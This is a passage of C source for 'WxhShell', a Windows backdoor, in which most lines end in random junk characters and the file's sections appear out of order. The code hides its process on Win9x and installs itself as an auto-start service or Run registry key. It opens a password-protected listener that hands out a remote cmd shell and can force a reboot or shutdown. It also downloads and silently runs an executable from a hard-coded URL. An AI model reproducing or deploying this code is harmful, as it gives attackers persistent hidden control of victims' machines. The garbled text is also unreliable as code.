    if(Boot(SHUTDOWN)) $_P*Bk)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pd1V8PZSG  
    else { #g6*s+Gm  
    closesocket(wsh); KW~fW r8  
    ExitThread(0); vKvT7Zxc  
    } M9aVE)*!I  
    break; xep!.k x  
    } %!;6h^@  
  // 获取shell x$'0}vnT  
  case 's': { tbP ;iK'  
    CmdShell(wsh); [qEd`8V (  
    closesocket(wsh); h5.>};"@ '  
    ExitThread(0); %+y92'GqG/  
    break; N))G/m3  
  } ;| :^zo  
  // 退出 z&@Vg`w"  
  case 'x': { w u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u0vq`5L  
    CloseIt(wsh); MiX*PqNTM  
    break; ct3^V M&/  
    } =h{j F7  
  // 离开 X!w&ib-  
  case 'q': { wv eej@zs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); du:%{4  
    closesocket(wsh); GGY WvGE+  
    WSACleanup(); *A,h ^  
    exit(1); uk(|c-_]~c  
    break; B[I a8t  
        } E2D}F@<]  
  } h 'F\9t  
  } ny. YkN2  
!VfP#B6.  
  // 提示信息 Cy~Pfty  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O\(0{qu  
} 3]X~bQAw  
  } ?oc#$fcQ~  
t*&O*T+fgy  
  return; >**7ck  
} A+N%A] 2  
H#LlxD)q  
// shell模块句柄 $ 4& )  
int CmdShell(SOCKET sock) U6pG  
{ )ww#dJn  
STARTUPINFO si; cTR@ :sm  
ZeroMemory(&si,sizeof(si)); T%\f$jh6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4l6+8/Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @AgV7#  
PROCESS_INFORMATION ProcessInfo; 7:h8b/9  
char cmdline[]="cmd"; QF7iU@%-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .-6B6IEI_"  
  return 0; >$.lM~k  
} Psf'#4g  
*)2& gQ&%+  
// 自身启动模式 (RL5L=,u  
int StartFromService(void) #SzCd&hI  
{ <L72nwcK  
typedef struct "s6O|=^*  
{ 42Gv]X  
  DWORD ExitStatus; "t{|e6   
  DWORD PebBaseAddress; v/4Bt2J  
  DWORD AffinityMask; 5DHFxym'  
  DWORD BasePriority; /kAu&}  
  ULONG UniqueProcessId; P7||d@VW,  
  ULONG InheritedFromUniqueProcessId; nEZo F  
}   PROCESS_BASIC_INFORMATION; ^E5[~C*o3  
`;@#yyj:_  
PROCNTQSIP NtQueryInformationProcess; <]u~;e57  
C>?`1d@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5jpb`Axj#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f/r@9\x  
(mOUbO8  
  HANDLE             hProcess; >|Hd*pg))  
  PROCESS_BASIC_INFORMATION pbi; Gj.u /l  
M=57 d7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "0lC:Wu]  
  if(NULL == hInst ) return 0; g]=w_  
GTw3rD^wg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yH<^txNF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =]OG5b_-Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !Ol>![  
9K>$  
  if (!NtQueryInformationProcess) return 0; bUW`MH7yJ  
`[.':"~2N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >lo,0oG  
  if(!hProcess) return 0; gCMwmanX  
CywQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6NO_S  
Zz\e:/  
  CloseHandle(hProcess); DL^}?Ve  
6o_t;cpT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TZT1nj"n  
if(hProcess==NULL) return 0; +,xl_,Z6  
|kHPk)}I]  
HMODULE hMod; _$+lyea   
char procName[255]; .}}w@NO  
unsigned long cbNeeded; FM c9oyU~  
50:$km\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -!dL <  
;xnJ+$//U  
  CloseHandle(hProcess); kp~@Ub @O3  
5z8!Nmb/  
if(strstr(procName,"services")) return 1; // 以服务启动 BPoY32d"_  
F+Qp mVU  
  return 0; // 注册表启动 H+]>*^'8  
} +%$'( t s  
vGK'U*gGD  
// 主模块 `YDe<@6'  
int StartWxhshell(LPSTR lpCmdLine) B rGaCja  
{ D (MolsKc?  
  SOCKET wsl; ?lh `>v  
BOOL val=TRUE; 6#/Riu%  
  int port=0; L}bS"=B[&W  
  struct sockaddr_in door; ?jywW$   
!+?,y/*5(  
  if(wscfg.ws_autoins) Install(); ,FvBZ.4c3=  
: kVEB<G  
port=atoi(lpCmdLine); .c[v /SB]  
MCOz-8@|Y  
if(port<=0) port=wscfg.ws_port; ^K4#_H#"  
r@_`ob RW;  
  WSADATA data; aj1o   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %)7HBj(*J  
'J&&F2O%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .=WsB@+   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KJ Gh)  
  door.sin_family = AF_INET; Z:l.{3J$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \}0J%F1  
  door.sin_port = htons(port); kKV`9&dZe  
hw?'aXK{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ('/5#^%R  
closesocket(wsl); Fm@G@W7,m  
return 1; :%M[|Fj  
} sv<U$M~)X  
yq{k:)  
  if(listen(wsl,2) == INVALID_SOCKET) { QGtKu:c.81  
closesocket(wsl); 'CqWF"  
return 1; \vBpH'hR,'  
} #tyHjk  
  Wxhshell(wsl); U"} ml  
  WSACleanup(); 2;@#i*\Y  
=='~g~  
return 0; 7l"N%e  
Zh?1+Sz&  
} O`nrXC{  
<lHelX=/  
// 以NT服务方式启动 V9:h4]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DP=4<ES%+  
{ n3, ?klK  
DWORD   status = 0; D2$"!7O1H  
  DWORD   specificError = 0xfffffff; 'Ldlo+*|5  
FF:Y7wXW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9kcp(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *R17 KMS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2QUZAV\ Y  
  serviceStatus.dwWin32ExitCode     = 0; eGrC0[SH  
  serviceStatus.dwServiceSpecificExitCode = 0; >gAq/'.Q  
  serviceStatus.dwCheckPoint       = 0; KmoPFlw  
  serviceStatus.dwWaitHint       = 0; Xg |_  
V j\1 HQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .6Swc?  
  if (hServiceStatusHandle==0) return; &8R%W"<K  
g{&a|NU^  
status = GetLastError(); :IFTiq5a;  
  if (status!=NO_ERROR) GdFTKOq  
{ "]}+QK_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -ec ~~95  
    serviceStatus.dwCheckPoint       = 0; bP%0T++vo  
    serviceStatus.dwWaitHint       = 0; Hcw@24ic  
    serviceStatus.dwWin32ExitCode     = status; |A_yr/f  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xp <RG p7E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wv>uT{g#  
    return; Z~}=q  
  } M{S7tMX  
30 Vv Zb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5b9v`6Kq  
  serviceStatus.dwCheckPoint       = 0; -(FVTWi0  
  serviceStatus.dwWaitHint       = 0; \BC|`)0h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vpOn0([hS  
} 4&IBNc,sn  
j_PICv*6  
// 处理NT服务事件,比如:启动、停止 L1"y5HJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k;v2 3  
{ |t^7L )&y  
switch(fdwControl) &(h~{  
{ "R-1 G/  
case SERVICE_CONTROL_STOP: yBKkx@o#z  
  serviceStatus.dwWin32ExitCode = 0; yZ t}Jnv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "|{O%X  
  serviceStatus.dwCheckPoint   = 0; pqPhtWi%PJ  
  serviceStatus.dwWaitHint     = 0; xX l^\?HC  
  { CybHr#LBc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9co_n_L  
  } K29]B~0%E  
  return; BJDe1W3;'  
case SERVICE_CONTROL_PAUSE: 9.R)iA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @; ayl  
  break; w=Xil  
case SERVICE_CONTROL_CONTINUE: (KaP=t}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WAlsh  
  break; pyZ&[ *@  
case SERVICE_CONTROL_INTERROGATE: $a(EF 6  
  break; +OkR7bl  
}; '`^<*;w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BBy"qkTe  
} 1bb~u/jU  
:. B};;N  
// 标准应用程序主函数 $FEG0&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U@v=q9'W  
{ y?W8FL  
d_BO&k<+I  
// 获取操作系统版本 Hw8`/'M=%5  
OsIsNt=GetOsVer(); cF_hU"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b'`8$;MII  
GuMsw*{>  
  // 从命令行安装 b]hP;QK`U$  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2`,{IHu*!  
0IoS|P}6a  
  // 下载执行文件 IH?.s k  
if(wscfg.ws_downexe) { F,^Q'$ !  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \k;)m-0bj{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ou6|;*>d  
} IbAGnl{  
$-9m8}U(Y  
if(!OsIsNt) { R?g qPi-  
// 如果时win9x,隐藏进程并且设置为注册表启动 UPgjf  
HideProc(); R iid,n  
StartWxhshell(lpCmdLine); RrSo`q-h+  
} g9OO#C>  
else Oa=0d;_  
  if(StartFromService()) o|G.tBpKg  
  // 以服务方式启动 eX$P k:  
  StartServiceCtrlDispatcher(DispatchTable); `-S6g^Y  
else w@Ut[ ;6^  
  // 普通方式启动 )}\T~#Q]y  
  StartWxhshell(lpCmdLine); +.MHI   
. Rxz;-VA  
return 0; aloP@U/\Sn  
} D^P_3 B+  
w~sr2;rp<  
PNgj 8J4  
ZiodJ"r  
=========================================== X<J NwjM%  
FQSepUl  
vsg"!y@v  
4;8 Z?.  
C#X|U2$  
=if5$jE3  
" OL&ku &J_  
L2Uk/E  
#include <stdio.h> TGu`r>N51  
#include <string.h> W@jBX{k  
#include <windows.h> zZDa7 1>  
#include <winsock2.h> x]6OE]]8L  
#include <winsvc.h> Zuod1;qIh  
#include <urlmon.h> aB~?Y+m  
;,n{6`  
#pragma comment (lib, "Ws2_32.lib") H `Fe |6I&  
#pragma comment (lib, "urlmon.lib") 1QXv}36#3n  
<e|I?zI9-  
#define MAX_USER   100 // 最大客户端连接数 {Cnz7TVB  
#define BUF_SOCK   200 // sock buffer -sl] funRy  
#define KEY_BUFF   255 // 输入 buffer 7u-o7#,X2  
SUxz &xH  
#define REBOOT     0   // 重启 +/*,%TdQ4  
#define SHUTDOWN   1   // 关机 \'6hv>W@  
rWEJCFa  
#define DEF_PORT   5000 // 监听端口 +4EQ9-  
ve_TpP  
#define REG_LEN     16   // 注册表键长度 1i:l  
#define SVC_LEN     80   // NT服务名长度 /qA\|'~  
<)+9PV<w  
// 从dll定义API D_@WB.e L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AjB-&Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d4F3!*@(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +s.r!?49+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WjtmV2b<7  
8@ck" LUzD  
// wxhshell配置信息 a=\r~Z7E  
struct WSCFG { OF*m 9  
  int ws_port;         // 监听端口 7HzO_u%H1  
  char ws_passstr[REG_LEN]; // 口令 yhg^1l|t,  
  int ws_autoins;       // 安装标记, 1=yes 0=no =dz  iR _  
  char ws_regname[REG_LEN]; // 注册表键名 Jj}+tQ f  
  char ws_svcname[REG_LEN]; // 服务名 w=I8f}(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B/g.bh~)q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,-#8/9ts  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !8M]n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vx /NG$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jHq.W95+P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hb'S!N5m  
&m_4#  
}; \&|)?'8rS  
\wqi_[A  
// default Wxhshell configuration &wr0HrE\  
struct WSCFG wscfg={DEF_PORT, ^@e4m O  
    "xuhuanlingzhe", s0 hD;`cm  
    1, v<N7o8  
    "Wxhshell", 8.bIP ju%v  
    "Wxhshell", ZG>I[V'p=  
            "WxhShell Service", E$dPu  
    "Wrsky Windows CmdShell Service", VeidB!GyP  
    "Please Input Your Password: ", :hB/|H*=  
  1, ~#+ Hhc(  
  "http://www.wrsky.com/wxhshell.exe", JSCe86a7<E  
  "Wxhshell.exe" hDI_qZ  
    }; 0@ []l{N  
#@Yw]@5M  
// 消息定义模块 uH S)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B B*]" gT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wB~Ag$~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z}6   
char *msg_ws_ext="\n\rExit."; $Kn{x!,"(  
char *msg_ws_end="\n\rQuit."; 86$9)UI  
char *msg_ws_boot="\n\rReboot..."; +c!v%uX  
char *msg_ws_poff="\n\rShutdown..."; Ub!MyXd{q  
char *msg_ws_down="\n\rSave to "; $lmGMljF  
Hy~kHBIL  
char *msg_ws_err="\n\rErr!"; Qvt  
char *msg_ws_ok="\n\rOK!"; j4>1a   
9q;n@q:29  
char ExeFile[MAX_PATH]; "pGSz%i-  
int nUser = 0; }S|~^  
HANDLE handles[MAX_USER]; 3(l^{YC+[7  
int OsIsNt; daS l.:1  
6jT+kq)  
SERVICE_STATUS       serviceStatus; aj;OG^(!2_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F @ lJk|*_  
57*`y'C W  
// 函数声明 O+hN?/>v  
int Install(void); ^Rriu $\  
int Uninstall(void); H7!j5^  
int DownloadFile(char *sURL, SOCKET wsh); A7,TM&  
int Boot(int flag); R,?7|x  
void HideProc(void); U 1!6%x  
int GetOsVer(void); k_$:?$  
int Wxhshell(SOCKET wsl); ^F/gJ3_;  
void TalkWithClient(void *cs); 4sOo>.<x  
int CmdShell(SOCKET sock); <]#'6'  
int StartFromService(void); 7jP C{W  
int StartWxhshell(LPSTR lpCmdLine); @%mJw u  
YD1 :m3l!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X,dOF=OJL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); luAmq+  
V*HkF T  
// 数据结构和表定义 w4w[qxV>  
SERVICE_TABLE_ENTRY DispatchTable[] = GqB]^snh  
{ t_cNH@^3<3  
{wscfg.ws_svcname, NTServiceMain}, !*#2~$:  
{NULL, NULL} I[u%k ir  
}; $2N)m:X0  
AB92R/  
// 自我安装 HAJK%zLc  
int Install(void) CYD&#+o  
{ t/xWJW2  
  char svExeFile[MAX_PATH]; w+c%Y\:  
  HKEY key; ]Q-*xho  
  strcpy(svExeFile,ExeFile); <pzCpF<  
/~RY{ c@#L  
// 如果是win9x系统,修改注册表设为自启动 HX\^ecZ#E  
if(!OsIsNt) { iOk^RDG+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;#a^M*e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Q'Q %2  
  RegCloseKey(key); Te&F2`vo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fHK`u'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #qqIOjS^w  
  RegCloseKey(key); I6!~(ND7  
  return 0; ?86q8E3;&  
    } {uVvo=3  
  } l!z)gto  
} ~wtl\-cY  
else { iK&s_}i:  
M'gw-^(  
// 如果是NT以上系统,安装为系统服务 A#/O~-O^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); );-?~   
if (schSCManager!=0) AG ?cI@',  
{ S+aXlb  
  SC_HANDLE schService = CreateService "_!D b&AH  
  ( GZ xG!r -  
  schSCManager, 3^NHV g  
  wscfg.ws_svcname, BC|=-^(  
  wscfg.ws_svcdisp, [Aqy%mbG  
  SERVICE_ALL_ACCESS, x93t.5E6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6@ B_3y  
  SERVICE_AUTO_START, 7{0;<@  
  SERVICE_ERROR_NORMAL, ?4p\ujc  
  svExeFile, X6hm,0[  
  NULL, ,T:Uk*Bj  
  NULL, Q7u/k$qN  
  NULL, i|5.DhK}  
  NULL, {p -q&k&R|  
  NULL J@$h'YUF  
  ); -qv*%O@  
  if (schService!=0) <0R$yB  
  { -%R3YU3  
  CloseServiceHandle(schService); -nM=^ i4)  
  CloseServiceHandle(schSCManager); PHZ+u@AA6@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {,V.IDs8[  
  strcat(svExeFile,wscfg.ws_svcname); %+BiN)R*x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~MuD`a7#G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s#phs `v  
  RegCloseKey(key); aNd6# yU$  
  return 0; A5U//y![{  
    } S}QvG&c  
  } \53(D7+  
  CloseServiceHandle(schSCManager); O{YT6&.S0  
} -|Z[GN:  
} #j!RbW  
OFcL h  
return 1; ST'eJ5P7!5  
} ^ud-N;]MKs  
LmCr[9/  
// 自我卸载 ,0j7qn@tm  
int Uninstall(void) =rH' \7T  
{ dXwfOC\\  
  HKEY key; H[H+s!)"  
gzV&S5A{_  
if(!OsIsNt) { xLZJ[:gr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kBF.TGT[l  
  RegDeleteValue(key,wscfg.ws_regname); /#WRd}IjK  
  RegCloseKey(key); 'MF|(`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^t p6G  
  RegDeleteValue(key,wscfg.ws_regname); (T&rvE  
  RegCloseKey(key); j` RuK  
  return 0; uP;qs8  
  } R ;XG2  
} by*?PhfF  
} V?_:-!NJ(  
else { QkY]z~P4  
:9nqQJ+~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i -kj6N5  
if (schSCManager!=0) ^a,Oi%  
{ _f^JXd,7v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }vx+/J  
  if (schService!=0) fLGZ@-qA0  
  { pv LA:LW2  
  if(DeleteService(schService)!=0) { $-x@P9im  
  CloseServiceHandle(schService); }MW7,F  
  CloseServiceHandle(schSCManager); 2=?:(e9  
  return 0; fv;3cxQp  
  } i\h"N K  
  CloseServiceHandle(schService); HV*D l$  
  } SK6?;_  
  CloseServiceHandle(schSCManager); [SJ-]P|^l  
}  M{!Y   
} J #ukH`|-  
9YMD[H\}V  
return 1; bQTkW<7gh  
} /"Z6\T9  
__B`0t  
// 从指定url下载文件  Rix|LKk{  
int DownloadFile(char *sURL, SOCKET wsh) 2b&&3u8  
{ wWh)yfPh8H  
  HRESULT hr; htgtgW9 ^P  
char seps[]= "/"; &>jSuvVT  
char *token; ( vO\h8  
char *file; @^O+ulLJ,]  
char myURL[MAX_PATH]; }KEL{VUX  
char myFILE[MAX_PATH]; 2cnyq$4k  
`<cn b!]  
strcpy(myURL,sURL); [wLK*9@&  
  token=strtok(myURL,seps); S)n+E\c  
  while(token!=NULL) 9Q*T'+V  
  { DK6^\k][V  
    file=token; VM.4w.})_E  
  token=strtok(NULL,seps); q3_ceXYU  
  } uT\|jv,  
{jK:hQX  
GetCurrentDirectory(MAX_PATH,myFILE); c3L)!]kB  
strcat(myFILE, "\\"); @2X{e7+D  
strcat(myFILE, file); o+}>E31a  
  send(wsh,myFILE,strlen(myFILE),0); ,\%qERk  
send(wsh,"...",3,0); 2kXa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >14 x.c  
  if(hr==S_OK) }{oZdO  
return 0; WVa-0;  
else O7})1|>1  
return 1; i(hL6DLD  
p-qt?A  
} D#8uj=/%  
^yl)c \`  
// 系统电源模块 z\kiYQ6kA  
int Boot(int flag) ^8z~`he=_J  
{ p?6`mH  
  HANDLE hToken; EFk9G2@_  
  TOKEN_PRIVILEGES tkp; ,NA _pvH)  
Z)Zc9SVC  
  if(OsIsNt) { 6Fe$'TP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` !um )4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i 6DcLE  
    tkp.PrivilegeCount = 1; _ Vo35kA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g)L?C'BG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Yd 'Vve  
if(flag==REBOOT) { bJWPr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L-,C5^  
  return 0; }Dc7'GZ  
} fzk^QrB  
else { Zf,9 k".'C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3$~oQC  
  return 0; 2jT2~D.U1  
} ?as1^~  
  } U3-cH  
  else { CGp7 Tx#  
if(flag==REBOOT) { )%(V.?eW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q7{/ T0  
  return 0; 7_ G$&  
} mne?r3d  
else { -Uj3?W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )8_ x  
  return 0; Q)s`~G({P  
} BYKONZu  
} XwlF[3VbiX  
qX%oLa  
return 1; Y0 ?<~Gf  
} U;q GUqI  
v>!tws5e  
// win9x进程隐藏模块 {gkY:$xnrG  
void HideProc(void) 9sId2py]W  
{ Z`jSpgWR  
VUQx"R9-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "3Lq/mJYnZ  
  if ( hKernel != NULL ) OMz_xm.UPi  
  { QI WfGVc-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EyK F5TP0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ia%S=xU{=  
    FreeLibrary(hKernel); "BvAiT{u  
  } 2zlBrjk;  
N ,0&xg3  
return; ,| Zkpn8  
} |ZmWhkOX  
;) (F4  
// 获取操作系统版本 ej;\a:JL  
int GetOsVer(void) 1${rQ9FIF  
{ .dQEr~f#}  
  OSVERSIONINFO winfo; ZDl6 F`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p|&9#?t4A  
  GetVersionEx(&winfo); cxB{EH,2Um  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |.~0Ulk,  
  return 1; )1ct%rue  
  else \-Ipa59U  
  return 0; H\^zp5/  
} ~/R bYvyA  
;W2Rl%z88  
// 客户端句柄模块 C_rA'Hy  
int Wxhshell(SOCKET wsl) >&?k^nI}J  
{ H]<@\g*l@P  
  SOCKET wsh; >J['so2Bf  
  struct sockaddr_in client; s+@`Z*B5  
  DWORD myID; &~&nJr  
?(2^lH~6h  
  while(nUser<MAX_USER) `;v5o4.`  
{ T@?uA*J  
  int nSize=sizeof(client); _@_w6Rh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'g#EBy  
  if(wsh==INVALID_SOCKET) return 1; H"vy[/UcR  
6_zyPh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .% {4B,d$  
if(handles[nUser]==0) %1UdG6&J_  
  closesocket(wsh); tGVC"a  
else M\L^ Wf9  
  nUser++; ;UPI%DnE]  
  } V")u y&Ob  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'p> *4}  
5LVzT1j|  
  return 0; UgC{  
} gBPYGci2F  
Sf"]enwB  
// 关闭 socket ? f>pKe  
void CloseIt(SOCKET wsh) 2J1YrHj3  
{ G5hh$Nmpi  
closesocket(wsh); eW/sP Q-  
nUser--; 1@6FV x  
ExitThread(0); FJH'!P\  
} !W48sZr1&  
_gn`Y(c$%  
// 客户端请求句柄 p`mNy o'  
void TalkWithClient(void *cs) TChKm- x  
{ V^D!\)#  
/5&' U!:+  
  SOCKET wsh=(SOCKET)cs; SMIr@*R  
  char pwd[SVC_LEN]; u0?,CQPL  
  char cmd[KEY_BUFF]; 1 2y+g5b  
char chr[1]; :J~sz)n4  
int i,j; D)){"Q!b  
uNXKUJ V0  
  while (nUser < MAX_USER) { E5`KUMZkq  
$9PscubM4  
if(wscfg.ws_passstr) { gzd)7np B2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W"&Y7("y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ m#|[%  
  //ZeroMemory(pwd,KEY_BUFF); Izr_]%  
      i=0; $*N)\>~X  
  while(i<SVC_LEN) { o3kVcX^  
e>~7RN  
  // 设置超时 Puodsd  
  fd_set FdRead; @p$$BUb  
  struct timeval TimeOut; v#`7,::  
  FD_ZERO(&FdRead); nAY'1!Oi  
  FD_SET(wsh,&FdRead); l 4e`-7  
  TimeOut.tv_sec=8; M~"93Q`f^  
  TimeOut.tv_usec=0; ? ht;ZP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P(Wr[lH\y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x2@W,?oPm  
U%T{~f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bS"zp6Di  
  pwd=chr[0]; r?:xD(}Q  
  if(chr[0]==0xd || chr[0]==0xa) { PZE{- TM?W  
  pwd=0; ZT1IN6;8W  
  break; 5FQtlB9F  
  } DB>.Uf"  
  i++; uX8yS|= *  
    } ]s<}'&  
Udl8?EVSz  
  // 如果是非法用户,关闭 socket %wk3&EC.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MFqM 6_  
} /KLs+^c5  
9n!IdqKN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }n[<$*W^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k%2Rv4)hU  
2GW.'\D  
while(1) { OHyBNJ  
t IO 'ky  
  ZeroMemory(cmd,KEY_BUFF); ai@hQJ*  
l?J|Ip2W  
      // 自动支持客户端 telnet标准   WIkr0k  
  j=0; wN^$8m5\T^  
  while(j<KEY_BUFF) { V+- ]txu|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ON q=bI*  
  cmd[j]=chr[0]; *Iir/6myM  
  if(chr[0]==0xa || chr[0]==0xd) { Aat-938FP6  
  cmd[j]=0; #s]'2O  
  break; VY]L<4BfGL  
  } %K7wScz7  
  j++; X$(Dem  
    } D5gDVulsh  
)"4v0dv  
  // 下载文件 29~Bu5  
  if(strstr(cmd,"http://")) { .^aqzA=]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NU{`eM  
  if(DownloadFile(cmd,wsh)) N"Mw1R4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T]0H&Oov  
  else qG?svt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W1;u%>Uh  
  } ;[R#:Rk  
  else { %SJ2W>e  
\\{+t<?J  
